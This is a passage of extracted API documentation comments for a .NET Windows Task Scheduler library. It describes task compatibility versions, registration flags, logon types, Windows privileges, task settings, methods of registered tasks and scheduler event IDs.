TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to true. + TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to true. + + + + + + The task is compatible with Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + This version is the baseline for the new, non-file based Task Scheduler. See remarks for + functionality that was not forward-compatible. + + + + + + The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + Changes from V2: + + TaskDefinition.Principal.ProcessTokenSidType can be defined as a value other than Default. + + TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the + TaskDefinition.Actions.PowerShellConversion property has the Version2 flag set. + + TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned. + TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true. + TaskDefinition.UseUnifiedSchedulingEngine can be set to true. + + + + + + The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + Changes from V2_1: + + + TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive + property set to true. + + TaskDefinition.Settings.Volatile can be set to true. + + + + + + The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + Changes from V2_2: + + None published. + + + + + Defines how the Task Scheduler service creates, updates, or disables the task. + + + The Task Scheduler service registers the task as a new task. + + + + The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists. + Equivalent to Create | Update. + + + + + The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information, + see Enabled Property of TaskSettings and Enabled Property of RegisteredTask. + + + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the + TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task + Scheduler service does not add the ACE for the new context principal and does not remove the ACE from the old context principal. + + + + + The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration + triggers, the task will not execute when it is registered unless a time-based trigger causes it to execute on registration. + + + + + The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger + is updated, the task will execute after the update occurs. + + + + + The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant + cannot be combined with the Create, Update, or CreateOrUpdate values. + + + + Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task. + + + Starts new instance while an existing instance is running. + + + Starts a new instance of the task after all other instances of the task are complete. + + + Does not start a new instance if an existing instance of the task is running. + + + Stops an existing instance of the task before it starts a new instance. + + + Defines what logon technique is required to run a task. + + + The logon method is not specified. Used for non-NT credentials. + + + Use a password for logging on the user. The password must be supplied at registration time. + + + + Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is + used, no password is stored by the system and there is no access to either the network or to encrypted files. + + + + User must already be logged on. The task will be run only in an existing interactive session. + + + Group activation. The groupId field specifies the group. + + + + Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task. + + + + + First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used. + The password must be specified when a task is registered. This flag is not recommended for new tasks because it is less reliable + than Password. + + + + Defines which privileges must be required for a secured task. + + + Required to create a primary token. User Right: Create a token object. + + + Required to assign the primary token of a process. User Right: Replace a process-level token. + + + Required to lock physical pages in memory. User Right: Lock pages in memory. + + + Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. + + + Required to read unsolicited input from a terminal device. User Right: Not applicable. + + + Required to create a computer account. User Right: Add workstations to domain. + + + + This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this + privilege. User Right: Act as part of the operating system. + + + + + Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege + identifies its holder as a security operator. User Right: Manage auditing and the security log. + + + + + Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be + set only to those values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files + or other objects. + + + + Required to load or unload a device driver. User Right: Load and unload device drivers. + + + Required to gather profiling information for the entire system. User Right: Profile system performance. + + + Required to modify the system time. User Right: Change the system time. + + + Required to gather profiling information for a single process. User Right: Profile single process. + + + Required to increase the base priority of a process. User Right: Increase scheduling priority. + + + Required to create a paging file. User Right: Create a pagefile. + + + Required to create a permanent object. User Right: Create permanent shared objects. + + + + Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless + of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. + This privilege is required by the RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this + privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories. + + + + + Required to perform restore operations. This privilege causes the system to grant all write access control to any file, + regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, + this privilege enables you to set any valid user or group security identifier (SID) as the owner of a file. This privilege is + required by the RegLoadKey function. The following access rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER, + ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories. + + + + Required to shut down a local system. User Right: Shut down the system. + + + Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. + + + Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. + + + + Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: + Modify firmware environment values. + + + + + Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all + traversal access checks. It is enabled by default for all users. User Right: Bypass traverse checking. + + + + Required to shut down a system by using a network request. User Right: Force shutdown from a remote system. + + + Required to undock a laptop. User Right: Remove computer from docking station. + + + + Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read + all objects and properties in the directory, regardless of the protection on the objects and properties. By default, it is + assigned to the Administrator and LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. + + + + + Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be + trusted for delegation. + + + + Required to enable volume management privileges. User Right: Manage the files on a volume. + + + + Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not + supported. Note that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + + Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is + enabled by default for administrators, services, and the local system account. User Right: Create global objects. Windows + XP/2000: This privilege is not supported. Note that this value is supported starting with Windows Server 2003, Windows XP with + SP2, and Windows 2000 with SP4. + + + + Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. + + + Required to modify the mandatory integrity level of an object. User Right: Modify an object label. + + + + Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. + + + + Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. + + + Required to create a symbolic link. User Right: Create symbolic links. + + + + Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of + process SID in the IPrincipal2 interface. + + + + No changes will be made to the process token groups list. + + + + A task SID that is derived from the task name will be added to the process token groups list, and the token default + discretionary access control list (DACL) will be modified to allow only the task SID and local system full control and the + account SID read control. + + + + A Task Scheduler will apply default settings to the task process. + + + Defines how a task is run. + + + The task is run with all flags ignored. + + + The task is run as the user who is calling the Run method. + + + The task is run regardless of constraints such as "do not run on batteries" or "run only if idle". + + + The task is run using a terminal server session identifier. + + + The task is run using a security identifier. + + + Defines LUA elevation flags that specify with what privilege level the task will be run. + + + Tasks will be run with the least privileges. + + + Tasks will be run with the highest privileges. + + + + Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify + the type of state change in the SessionStateChangeTrigger. + + + + + Terminal Server console connection state change. For example, when you connect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop + Connection program from a remote computer. + + + + + Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the + Remote Desktop Connection program from a remote computer. + + + + + Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked. + + + + + Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked. + + + + Options for use when calling the SetSecurityDescriptorSddlForm methods. + + + No special handling. + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. + + + Defines the different states that a registered task can be in. + + + The state of the task is unknown. + + + + The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled. + + + + Instances of the task are queued. + + + The task is ready to be executed, but no instances are queued or running. + + + One or more instances of the task is running. + + + + Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions, + see Task Idle Conditions. + + + + Occurs when a property value changes. + + + + Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run. + + + A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value + is one minute. If this value is TimeSpan.Zero, then the delay will be set to the default of 10 minutes. + + + + + Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more + than once. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before + the task is completed. + + + + + Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no + value is specified for this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur. + + + A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time + allowed is 1 minute. If this value is TimeSpan.Zero, then the delay will be the equivalent of "Do not wait". + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Specifies the task settings the Task scheduler will use to start task during Automatic maintenance. + + + Occurs when a property value changes. + + + + Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance, + if the task failed to complete during regular Automatic maintenance. The minimum value is one day. The value of the property should be greater than the value of the property. If the deadline is not + specified the task will not be started during emergency Automatic maintenance. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive + mode. The exclusivity is guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If + exclusivity is not specified, the task is started in parallel with other maintenance tasks. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to obtain a network profile. + + + Occurs when a property value changes. + + + Gets or sets a GUID value that identifies a network profile. + Not supported under Task Scheduler 1.0. + + + Gets or sets the name of a network profile. The name is used for display purposes. + Not supported under Task Scheduler 1.0. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the methods to get information from and control a running task. + + + Gets the process ID for the engine (process) which is running the task. + Not supported under Task Scheduler 1.0. + + + Gets the name of the current action that the running task is performing. + + + Gets the GUID identifier for this instance of the task. + + + Gets the operational state of the running task. + + + Releases all resources used by this class. + + + Refreshes all of the local instance variables of the task. + Thrown if task is no longer running. + + + + Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials + that are used to register the task, and the properties that describe the task. + + + + Occurs when a property value changes. + + + Gets the definition of the task. + + + Gets or sets a Boolean value that indicates if the registered task is enabled. + + As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the + current task. If changes have been made to the , then those changes will be saved. + + + + Gets an instance of the parent folder. + A object representing the parent folder of this task. + + + Gets a value indicating whether this task instance is active. + true if this task instance is active; otherwise, false. + + + Gets the time the registered task was last run. + Returns if there are no prior run times. + + + Gets the results that were returned the last time the registered task was run. + The value returned is the last exit code of the last program run via an . + + + + + + + + Gets the time when the registered task is next scheduled to run. + Returns if there are no future run times. + + Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if + there were no future run times. For 1.0, that value would have been DateTime.MinValue. In release 1.8.2 and later, all + versions will return DateTime.MinValue if there are no future run times. While this is different from the native 2.0 + library, it was deemed more appropriate to have consistency between the two libraries and with other .NET libraries. + + + + + Gets a value indicating whether this task is read only. Only available if is true. + + true if read only; otherwise, false. + + + Gets or sets the security descriptor for the task. + The security descriptor. + + + Gets the operational state of the registered task. + + + Gets or sets the that manages this task. + The task service. + + + Gets the name of the registered task. + + + Gets the number of times the registered task has missed a scheduled run. + Not supported under Task Scheduler 1.0. + + + Gets the path to where the registered task is stored. + + + Gets the XML-formatted registration information for the registered task. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Exports the task to the specified file in XML. + Name of the output file. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + A object that encapsulates the access control rules for the current task. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + + One of the values that specifies which group of access control + entries to retrieve. + + A object that encapsulates the access control rules for the current task. + + + Gets all instances of the currently running registered task. + A with all instances of current task. + Not supported under Task Scheduler 1.0. + + + + Gets the last registration time, looking first at the value and then looking for the + most recent registration event in the Event Log. + + of the last registration or if no value can be found. + + + Gets the times that the registered task is scheduled to run during a specified time. + The starting time for the query. + The ending time for the query. + The requested number of runs. A value of 0 will return all times requested. + The scheduled times that the task will run. + + + Gets the security descriptor for the task. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the task. + Not supported under Task Scheduler 1.0. + + + + Updates the task with any changes made to the by calling from the currently registered folder using the currently + registered name. + + Thrown if task was previously registered with a password. + + + Runs the registered task immediately. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + Run() + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + + + + + + Runs the registered task immediately using specified flags and a session identifier. + Defines how the task is run. + + The terminal server session in which you want to start the task. + + If the value is not passed into the parameter, then the value + specified in this parameter is ignored.If the value is passed into the flags parameter + and the sessionID value is less than or equal to 0, then an invalid argument error will be returned. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is logged on to the specified session. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is specified in the user parameter. + + + The user for which the task runs. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + RunEx(0, 0, "MyUserName") + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to + false for the task. + + If RunEx is invoked from a disabled task, it will return null and the task will not be run. + + Not supported under Task Scheduler 1.0. + + + + + + + + + Applies access control list (ACL) entries described by a object to the file described by the current + object. + + + A object that describes an access control list (ACL) entry to apply to the current task. + + + Give read access to all authenticated users for a task. + + + + + + + Sets the security descriptor for the task. Not available to Task Scheduler 1.0. + The security descriptor for the task. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + Dynamically tries to load the assembly for the editor and displays it as editable for this task. + true if editor returns with OK response; false otherwise. + + The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll + or in the GAC. + + + + Shows the property page for the task (v1.0 only). + + + Stops the registered task immediately. + + The Stop method stops all instances of the task. + + System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to + execute and read a task, then the user can stop the task. A user can stop the task instances that are running under the same + credentials as the user account. In all other cases, the user is denied access to stop the task. + + + + + Returns a that represents this instance. + A that represents this instance. + + + + Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the + Task Scheduler. + + The local task service. + The task instance. + if set to true this method will throw an exception if unable to get the task definition. + A valid ITaskDefinition that should not throw errors on the local instance. + Unable to get a compatible task definition for this version of the library. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Contains information about the compatibility of the current configuration with a specified version. + + + Gets the compatibility level. + The compatibility level. + + + Gets the property name with the incompatibility. + The property name. + + + Gets the reason for the incompatibility. + The reason. + + + Defines all the components of a task, such as the task settings, triggers, actions, and registration information. + + + Occurs when a property value changes. + + + Gets a collection of actions that are performed by the task. + + + + Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by + third-parties who wish to extend the task format. + + + For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data + stream directly. Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can + have values under V2. An example of this is the value which is stored in the data stream. + + The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access + to the task using the native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values + if SetWorkItemData is used. + + + + + Gets the lowest supported version that supports the settings for this . + + + Gets a collection of triggers that are used to start a task. + + + Gets or sets the XML-formatted definition of the task. + + + Gets the principal for the task that provides the security credentials for the task. + + + + Gets a class instance of registration information that is used to describe a task, such as the description of the task, the + author of the task, and the date the task is registered. + + + + Gets the settings that define how the Task Scheduler service performs the task. + + + Gets the XML Schema file for V1 tasks. + The for V1 tasks. + An object containing the XML Schema for V1 tasks. + + + + Determines whether this can use the Unified Scheduling Engine or if it contains unsupported properties. + + + if set to true throws an with details about unsupported properties in the Data + property of the exception. + + + true if this can use the Unified Scheduling Engine; otherwise, false. + + + Releases all resources used by this class. + + + Validates the current . + + if set to true throw a with details about invalid properties. + + true if current is valid; false if not. + + + Implements the operator + for triggers on a definition, effectively adding the trigger to the definition. + The definition to which the trigger is to be added. + The trigger to add. + The definition with the added trigger. + + + Implements the operator + for actions on a definition, effectively adding the action to the definition. + The definition to which the action is to be added. + The action to add. + The definition with the added action. + + + Gets the lowest supported version. + The output list. + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Provides the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + + This class can only be accessed via . It is used to set properties related to the principal + (account) that will run a task. + + TaskDefinition td = TaskService.Instance.NewTask(); + td.Principal.UserId = "SYSTEM"; + td.Principal.LogonType = TaskLogonType.ServiceAccount; + + + + Occurs when a property value changes. + + + + Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set. + + The account. + + + Gets or sets the name of the principal that is displayed in the Task Scheduler UI. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the identifier of the user group that is required to run the tasks that are associated with the principal. Setting + this property to something other than a null or empty string, will set the property to NULL and will set + the property to TaskLogonType.Group; + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier of the principal. + Not supported under Task Scheduler 1.0. + + + Gets or sets the security logon method that is required to run the tasks that are associated with the principal. + + TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0. + + + + Gets or sets the task process security identifier (SID) type. + One of the enumeration constants. + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + Not supported under Task Scheduler versions prior to 2.1. + + + + Gets the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + + + + Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated + with the principal. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property + to something other than a null or empty string, will set the property to NULL; + + + + Validates the supplied account against the supplied . + The user or group account name. + The SID type for the process. + true if supplied account can be used for the supplied SID type. + + + Releases all resources used by this class. + + + Gets a value indicating whether current Principal settings require a password to be provided. + true if settings requires a password to be provided; otherwise, false. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security + context for the tasks that are associated with the principal. + + + + Gets the number of elements contained in the . + The number of elements contained in the . + + + Gets a value indicating whether the is read-only. + true if the is read-only; otherwise, false. + + + Gets or sets the element at the specified index. + The element at the specified index. + is not a valid index in the . + + The property is set and the is read-only. + + + + Adds an item to the . + The object to add to the . + The is read-only. + + + Determines whether the contains a specific value. + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + Copies to. + The array. + Index of the array. + + + Returns an enumerator that iterates through the collection. + A that can be used to iterate through the collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Removes all items from the . + The is read-only. + + + Inserts an item to the at the specified index. + The zero-based index at which should be inserted. + The object to insert into the . + is not a valid index in the . + The is read-only. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; + otherwise, false. This method also returns false if is not found in the original . + + The is read-only. + + + Removes the item at the specified index. + The zero-based index of the item to remove. + is not a valid index in the . + The is read-only. + + + Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler. + + + Gets the element in the collection at the current position of the enumerator. + The element in the collection at the current position of the enumerator. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Advances the enumerator to the next element of the collection. + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + The collection was modified after the enumerator was created. + + + Sets the enumerator to its initial position, which is before the first element in the collection. + The collection was modified after the enumerator was created. + + + + Provides the administrative information that can be used to describe the task. This information includes details such as a + description of the task, the author of the task, the date the task is registered, and the security descriptor of the task. + + + + Occurs when a property value changes. + + + Gets or sets the author of the task. + + + Gets or sets the date and time when the task is registered. + + + Gets or sets the description of the task. + + + Gets or sets any additional documentation for the task. + + + Gets or sets the security descriptor of the task. + The security descriptor. + + + Gets or sets the security descriptor of the task. + Not supported under Task Scheduler 1.0. + + + + Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user. + + + + Gets or sets the URI of the task. + + Note: Breaking change in version 2.0. This property was previously of type . It was found that in + Windows 8, many of the native tasks use this property in a string format rather than in a URI format. + + + + Gets or sets the version number of the task. + + + Gets or sets an XML-formatted version of the registration information for the task. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to perform the task. + + + Occurs when a property value changes. + + + + Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess. + Not supported under Task Scheduler 1.0. + + + Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is + specified for this property, then the Task Scheduler service will not delete the task. + + + Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value + of 1 second indicates the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted. + + + A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a + trigger is specified by the EndBoundary property of all trigger types. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power. + + + + + Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote + Applications Integrated Locally (RAIL) session. + + Property set for a task on a Task Scheduler version prior to 2.1. + + + + Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE. + + + + + Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it + starts to run. + + + The amount of time that is allowed to complete the task. When this parameter is set to , the + execution time limit is infinite. + + + If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not + be terminated if it exceeds the ExecutionTimeLimit. + + + + Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default. + + + Gets or sets the information that the Task Scheduler uses during Automatic maintenance. + + + Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets the priority level of the task. + The priority. + Value set to AboveNormal or BelowNormal on Task Scheduler 1.0. + + + Gets or sets the number of times that the Task Scheduler will attempt to restart the task. + + The number of times that the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task. + + A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only) + + Property set for a task on a Task Scheduler version other than 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power. + + + Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task. + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts. + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task. + + + + Gets or sets an XML-formatted definition of the task settings. + + + + Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state. + + + + + Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable + property of ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run + only if the specified network profile is available. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Collection of running tasks in a . This class has no public constructor and can only be accessed via the + properties and functions within . + + + + Gets the number of registered tasks in the collection. + + + Gets the specified running task from the collection. + The index of the running task to be retrieved. + A instance. + + + Releases all resources used by this class. + + + Gets an IEnumerator instance for this collection. + An enumerator. + + + Returns a that represents this instance. + A that represents this instance. + + + Releases all resources used by this class. + + + + Contains all the tasks that are registered within a . This class has no public constructor and can only be + accessed via the properties and functions within . + + + Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name. + This has been removed so that it is consistent with V2. + + + public class Program + { + bool RootFolderHasTask(string taskName) + { + if (TaskService.Instance.RootFolder.Tasks.Count > 0) + { + return TaskService.Instance.RootFolder.Tasks.Exists(taskName); + } + return false; + } + + TaskCollection GetRootTasksStartingWith(string value) + { + var pattern = $"^{Regex.Escape(value)}.*$"; + return TaskService.Instance.RootFolder.GetTasks(new Regex(pattern)); + } + + public static void Main() + { + foreach (var task in GetRootTasksStartingWith("MyCo")) + if (RootFolderHasTask(task.Name)) + Console.WriteLine(task.Name); + } + } + + + + Gets the number of registered tasks in the collection. + + + Gets or sets the regular expression filter for task names. + The regular expression filter. + + + Gets the specified registered task from the collection. + The index of the registered task to be retrieved. + A instance that contains the requested context. + + + Gets the named registered task from the collection. + The name of the registered task to be retrieved. + A instance that contains the requested context. + + + Releases all resources used by this class. + + + Determines whether the specified task exists. + The name of the task. + true if task exists; otherwise, false. + + + Gets the collection enumerator for the register task collection. + An for this collection. + + + Returns a that represents this instance. + A that represents this instance. + + + Internal constructor + TaskService instance + The filter. + + + Retrieves the current task. See for more information. + + + Releases all resources used by this class. + + + Moves to the next task. See MoveNext for more information. + true if next task found, false if no more tasks. + + + Reset task enumeration. See Reset for more information. + + + + Changes to tasks and the engine that cause events. + + + + Task Scheduler started an instance of a task for a user. + For detailed information, see the documentation for Event ID 100 on TechNet. + + + Task Scheduler failed to start a task for a user. + For detailed information, see the documentation for Event ID 101 on TechNet. + + + Task Scheduler successfully finished an instance of a task for a user. + For detailed information, see the documentation for Event ID 102 on TechNet. + + + Task Scheduler failed to start an instance of a task for a user. + For detailed information, see the documentation for Event ID 103 on TechNet. + + + Task Scheduler failed to log on the user. + For detailed information, see the documentation for Event ID 104 on TechNet. + + + Task Scheduler failed to impersonate a user. + For detailed information, see the documentation for Event ID 105 on TechNet. + + + The a user registered the Task Scheduler a task. + For detailed information, see the documentation for Event ID 106 on TechNet. + + + Task Scheduler launched an instance of a task due to a time trigger. + For detailed information, see the documentation for Event ID 107 on TechNet. + + + Task Scheduler launched an instance of a task due to an event trigger. + For detailed information, see the documentation for Event ID 108 on TechNet. + + + Task Scheduler launched an instance of a task due to a registration trigger. + For detailed information, see the documentation for Event ID 109 on TechNet. + + + Task Scheduler launched an instance of a task for a user. + For detailed information, see the documentation for Event ID 110 on TechNet. + + + Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition. + For detailed information, see the documentation for Event ID 111 on TechNet. + + + Task Scheduler could not 